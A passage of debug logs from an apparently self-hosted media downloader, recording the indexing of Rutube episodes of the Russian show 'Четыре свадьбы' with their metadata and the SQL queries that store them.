Свадьба Леры из Санкт-Петербурга пройдет в кукольно-вампирском стиле. Юлия из Великого Новгорода пригласит всех на венчание. Фишкой свадьбы Анастасии из Тулы станет пицца вместо каравая. Регистрацию на свадьбе Наталии из Нижнего Новгорода проведет ведьма. Как пройдут торжества девушек, покажет программа «Четыре свадьбы».", "duration" => 6428, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e051600 - Свадьба в стиле мафии VS Кукольно-вампирская свадьба.mp4", "id" => "d6c2a3ae501a6f600c1fe0cac97352af", "original_url" => "https://rutube.ru/video/d6c2a3ae501a6f600c1fe0cac97352af/", "playlist_index" => 76, "timestamp" => 1715869210, "title" => "Свадьба в стиле мафии VS Кукольно-вампирская свадьба", "upload_date" => "20240516"} 14:35:59.881 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1006.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:59.882 [debug] QUERY OK source="sources" db=1.0ms idle=1004.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:59.885 [debug] QUERY OK source="media_items" db=3.0ms idle=1005.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-05-16 14:20:10Z], 1] 14:35:59.893 [debug] QUERY OK source="media_items" db=6.2ms idle=1007.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре невесты оценят свадьбы друг друга. Свадьба Леры из Санкт-Петербурга пройдет в кукольно-вампирском стиле. Юлия из Великого Новгорода пригласит всех на венчание. Фишкой свадьбы Анастасии из Тулы станет пицца вместо каравая. Регистрацию на свадьбе Наталии из Нижнего Новгорода проведет ведьма. Как пройдут торжества девушек, покажет программа «Четыре свадьбы».", "Свадьба в стиле мафии VS Кукольно-вампирская свадьба", "d68ac913-fc00-40b4-8606-fa750e68979c", "d6c2a3ae501a6f600c1fe0cac97352af", 6428, false, "https://rutube.ru/video/d6c2a3ae501a6f600c1fe0cac97352af/", 76, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e051600 - Свадьба в стиле мафии VS Кукольно-вампирская свадьба.mp4", false, false, false, 1, [], 1, ~U[2024-05-16 14:20:10Z], ~U[2025-12-09 11:35:59Z], ~U[2025-12-09 11:35:59Z], "Четыре невесты оценят свадьбы друг друга. Свадьба Леры из Санкт-Петербурга пройдет в кукольно-вампирском стиле. Юлия из Великого Новгорода пригласит всех на венчание. Фишкой свадьбы Анастасии из Тулы станет пицца вместо каравая. Регистрацию на свадьбе Наталии из Нижнего Новгорода проведет ведьма. Как пройдут торжества девушек, покажет программа «Четыре свадьбы».", "Свадьба в стиле мафии VS Кукольно-вампирская свадьба", "d6c2a3ae501a6f600c1fe0cac97352af", 6428, false, "https://rutube.ru/video/d6c2a3ae501a6f600c1fe0cac97352af/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e051600 - Свадьба в стиле мафии VS Кукольно-вампирская свадьба.mp4", false, 1, ~U[2024-05-16 14:20:10Z]] 14:35:59.904 [debug] QUERY OK source="sources" db=10.8ms queue=0.1ms idle=602.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:59.905 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=23.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:59.906 [debug] QUERY OK source="media_items" db=0.6ms idle=23.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [71] 14:35:59.906 [debug] Current batch of media processed. Will check again in 1000ms 14:36:00.840 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:36:00.908 [debug] Current batch of media processed. Will check again in 1000ms 14:36:01.910 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре невесты оценят мероприятия друг друга. Полина из Москвы пригласит на свадьбу в тюремном стиле. Фишкой свадьбы Светланы из Геленджика станет танец невесты с подругами. Елена из Сочи пригласит на свадьбу импровизационный театр. А Екатерина из Тюмени выберет для своей свадьбы стиль Барби. Как пройдут торжества девушек, покажет программа «Четыре свадьбы».", "duration" => 6456, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e052300 - Свадьба в тюремном стиле VS Свадьба в танцевальном стиле.mp4", "id" => "470b4d0ebca8bb7cd6151956b4ae5b73", "original_url" => "https://rutube.ru/video/470b4d0ebca8bb7cd6151956b4ae5b73/", "playlist_index" => 77, "timestamp" => 1716478808, "title" => "Свадьба в тюремном стиле VS Свадьба в танцевальном стиле", "upload_date" => "20240523"} 14:36:01.916 [debug] QUERY OK source="sources" db=5.5ms idle=1070.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:36:01.919 [debug] QUERY OK source="sources" db=2.7ms queue=0.1ms idle=619.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:01.921 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=200.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-05-23 15:40:08Z], 1] 14:36:01.940 [debug] QUERY OK source="media_items" db=17.5ms idle=202.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре невесты оценят мероприятия друг друга. Полина из Москвы пригласит на свадьбу в тюремном стиле. Фишкой свадьбы Светланы из Геленджика станет танец невесты с подругами. Елена из Сочи пригласит на свадьбу импровизационный театр. А Екатерина из Тюмени выберет для своей свадьбы стиль Барби. Как пройдут торжества девушек, покажет программа «Четыре свадьбы».", "Свадьба в тюремном стиле VS Свадьба в танцевальном стиле", "218db6a1-ab4e-4781-acc1-e667028c10c3", "470b4d0ebca8bb7cd6151956b4ae5b73", 6456, false, "https://rutube.ru/video/470b4d0ebca8bb7cd6151956b4ae5b73/", 77, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e052300 - Свадьба в тюремном стиле VS Свадьба в танцевальном стиле.mp4", false, false, false, 1, [], 1, ~U[2024-05-23 15:40:08Z], ~U[2025-12-09 11:36:01Z], ~U[2025-12-09 11:36:01Z], "Четыре невесты оценят мероприятия друг друга. Полина из Москвы пригласит на свадьбу в тюремном стиле. Фишкой свадьбы Светланы из Геленджика станет танец невесты с подругами. Елена из Сочи пригласит на свадьбу импровизационный театр. А Екатерина из Тюмени выберет для своей свадьбы стиль Барби. Как пройдут торжества девушек, покажет программа «Четыре свадьбы».", "Свадьба в тюремном стиле VS Свадьба в танцевальном стиле", "470b4d0ebca8bb7cd6151956b4ae5b73", 6456, false, "https://rutube.ru/video/470b4d0ebca8bb7cd6151956b4ae5b73/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e052300 - Свадьба в тюремном стиле VS Свадьба в танцевальном стиле.mp4", false, 1, ~U[2024-05-23 15:40:08Z]] 14:36:01.944 [debug] QUERY OK source="sources" db=3.2ms queue=0.1ms idle=221.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:01.944 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=27.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:36:01.949 [debug] QUERY OK source="media_items" db=4.1ms idle=25.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [72] 14:36:01.950 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "4 невесты пригласят друг друга на свои мероприятия. Фишкой свадьбы Дианы из станицы Северской станет появление молодых на фуре. Евгения из Стерлитамака устроит свадьбу «башкирских стиляг». Наталья из Гатчины удивит гостей сделанным своими руками тортом. А у Кристины из Санкт-Петербурга состоится свадьба в чёрно-белых тонах. Смотрите программу «Четыре свадьбы»!", "duration" => 6095, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e053000 - Свадьба башкирских стиляг VS Свадьба в стиле бохо.mp4", "id" => "d6463df5aba664b6eea36ca97072c165", "original_url" => "https://rutube.ru/video/d6463df5aba664b6eea36ca97072c165/", "playlist_index" => 78, "timestamp" => 1717078210, "title" => "Свадьба башкирских стиляг VS Свадьба в стиле бохо", "upload_date" => "20240530"} 14:36:01.952 [debug] QUERY OK source="sources" db=1.5ms idle=29.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:36:01.953 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=13.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:01.955 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=10.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-05-30 14:10:10Z], 1] 14:36:01.974 [debug] QUERY OK source="media_items" db=18.4ms idle=11.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["4 невесты пригласят друг друга на свои мероприятия. Фишкой свадьбы Дианы из станицы Северской станет появление молодых на фуре. Евгения из Стерлитамака устроит свадьбу «башкирских стиляг». Наталья из Гатчины удивит гостей сделанным своими руками тортом. А у Кристины из Санкт-Петербурга состоится свадьба в чёрно-белых тонах. Смотрите программу «Четыре свадьбы»!", "Свадьба башкирских стиляг VS Свадьба в стиле бохо", "a41ee9d8-5824-4ac8-8754-efafca8c2ee4", "d6463df5aba664b6eea36ca97072c165", 6095, false, "https://rutube.ru/video/d6463df5aba664b6eea36ca97072c165/", 78, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e053000 - Свадьба башкирских стиляг VS Свадьба в стиле бохо.mp4", false, false, false, 1, [], 1, ~U[2024-05-30 14:10:10Z], ~U[2025-12-09 11:36:01Z], ~U[2025-12-09 11:36:01Z], "4 невесты пригласят друг друга на свои мероприятия. Фишкой свадьбы Дианы из станицы Северской станет появление молодых на фуре. Евгения из Стерлитамака устроит свадьбу «башкирских стиляг». Наталья из Гатчины удивит гостей сделанным своими руками тортом. А у Кристины из Санкт-Петербурга состоится свадьба в чёрно-белых тонах. Смотрите программу «Четыре свадьбы»!", "Свадьба башкирских стиляг VS Свадьба в стиле бохо", "d6463df5aba664b6eea36ca97072c165", 6095, false, "https://rutube.ru/video/d6463df5aba664b6eea36ca97072c165/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e053000 - Свадьба башкирских стиляг VS Свадьба в стиле бохо.mp4", false, 1, ~U[2024-05-30 14:10:10Z]] 14:36:01.977 [debug] QUERY OK source="sources" db=2.0ms queue=0.1ms idle=25.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:01.978 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.2ms idle=26.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:36:01.981 [debug] QUERY OK source="media_items" db=1.1ms queue=0.2ms idle=26.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [73] 14:36:01.981 [debug] Current batch of media processed. Will check again in 1000ms 14:36:02.983 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "В каких стилях невесты организовывали свои свадьбы? Какие платья они выбирали, чем угощали гостей и как развлекали соперниц? Как прошли свадьбы в Турции, Казахстане и Узбекистане? И какие мероприятия стали самыми колоритными? Всё это мы вспомним в специальном выпуске программы «Четыре свадьбы».", "duration" => 9302, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e071800 - Четыре свадьбы: Свадебный марафон.mp4", "id" => "4fe8fa2628ea7b112516583d3c5decf5", "original_url" => "https://rutube.ru/video/4fe8fa2628ea7b112516583d3c5decf5/", "playlist_index" => 79, "timestamp" => 1721275812, "title" => "Четыре свадьбы: Свадебный марафон", "upload_date" => "20240718"} 14:36:02.984 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1009.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:36:02.985 [debug] QUERY OK source="sources" db=0.3ms idle=1007.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:02.985 [debug] QUERY OK source="media_items" db=0.4ms idle=1006.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-18 04:10:12Z], 1] 14:36:03.001 [debug] QUERY OK source="media_items" db=14.7ms idle=1004.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В каких стилях невесты организовывали свои свадьбы? Какие платья они выбирали, чем угощали гостей и как развлекали соперниц? Как прошли свадьбы в Турции, Казахстане и Узбекистане? И какие мероприятия стали самыми колоритными? Всё это мы вспомним в специальном выпуске программы «Четыре свадьбы».", "Четыре свадьбы: Свадебный марафон", "5354ed7e-30b0-474b-877b-df6fefb39bec", "4fe8fa2628ea7b112516583d3c5decf5", 9302, false, "https://rutube.ru/video/4fe8fa2628ea7b112516583d3c5decf5/", 79, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e071800 - Четыре свадьбы: Свадебный марафон.mp4", false, false, false, 1, [], 1, ~U[2024-07-18 04:10:12Z], ~U[2025-12-09 11:36:02Z], ~U[2025-12-09 11:36:02Z], "В каких стилях невесты организовывали свои свадьбы? Какие платья они выбирали, чем угощали гостей и как развлекали соперниц? Как прошли свадьбы в Турции, Казахстане и Узбекистане? И какие мероприятия стали самыми колоритными? Всё это мы вспомним в специальном выпуске программы «Четыре свадьбы».", "Четыре свадьбы: Свадебный марафон", "4fe8fa2628ea7b112516583d3c5decf5", 9302, false, "https://rutube.ru/video/4fe8fa2628ea7b112516583d3c5decf5/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e071800 - Четыре свадьбы: Свадебный марафон.mp4", false, 1, ~U[2024-07-18 04:10:12Z]] 14:36:03.003 [debug] QUERY OK source="sources" db=2.2ms queue=0.1ms idle=702.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:03.004 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=19.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:36:03.006 [debug] QUERY OK source="media_items" db=0.3ms idle=20.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [74] 14:36:03.006 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Свадебный марафон начинается! Людмила из Электростали приглашает на диджейскую вечеринку. У Екатерины из Кыштыма будем свадьба в пиратском стиле. Мария из Перми устроит чёрно-белую вечеринку. А 